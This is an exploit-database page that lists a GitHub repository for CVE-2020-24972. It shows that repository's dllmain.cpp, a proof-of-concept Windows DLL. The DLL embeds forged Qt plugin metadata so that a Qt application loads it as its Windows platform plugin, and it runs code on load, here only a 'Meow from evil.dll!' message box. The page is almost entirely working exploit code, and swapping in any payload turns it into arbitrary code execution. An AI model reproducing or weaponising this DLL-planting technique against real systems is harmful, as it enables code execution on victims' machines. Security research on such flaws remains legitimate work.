Exploit databaseDownload repository ZIP
GH-e32fe27a01398c731a92202f2fc3f3df
spiralbl0ck/cve-2020-24972
Sources for CVE-2020-24972
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
spiralbl0ck/cve-2020-24972Revision 79d35535f28f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
dllmain.cpp
C++ · 1,190 bytes// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#pragma comment (lib, "user32.lib")
#pragma const_seg(".qtmetad")
__declspec(allocate(".qtmetad"))
unsigned char qt_pluginMetaData[] = {
"\x51\x54\x4D\x45\x54\x41\x44\x41\x54\x41\x20\x21\x00\x05\x0C\x00\xBF\x02\x78\x3E\x6F\x72\x67\x2E\x71\x74\x2D\x70\x72\x6F\x6A\x65\x63\x74\x2E\x51\x74\x2E\x51\x50\x41\x2E\x51\x50\x6C\x61\x74\x66\x6F\x72\x6D\x49\x6E\x74\x65\x67\x72\x61\x74\x69\x6F\x6E\x46\x61\x63\x74\x6F\x72\x79\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x2E\x35\x2E\x33\x03\x78\x19\x51\x57\x69\x6E\x64\x6F\x77\x73\x49\x6E\x74\x65\x67\x72\x61\x74\x69\x6F\x6E\x50\x6C\x75\x67\x69\x6E\x04\xA1\x64\x4B\x65\x79\x73\x81\x67\x77\x69\x6E\x64\x6F\x77\x73\xFF"
};
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL,"Meow from evil.dll!","=^..^=",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}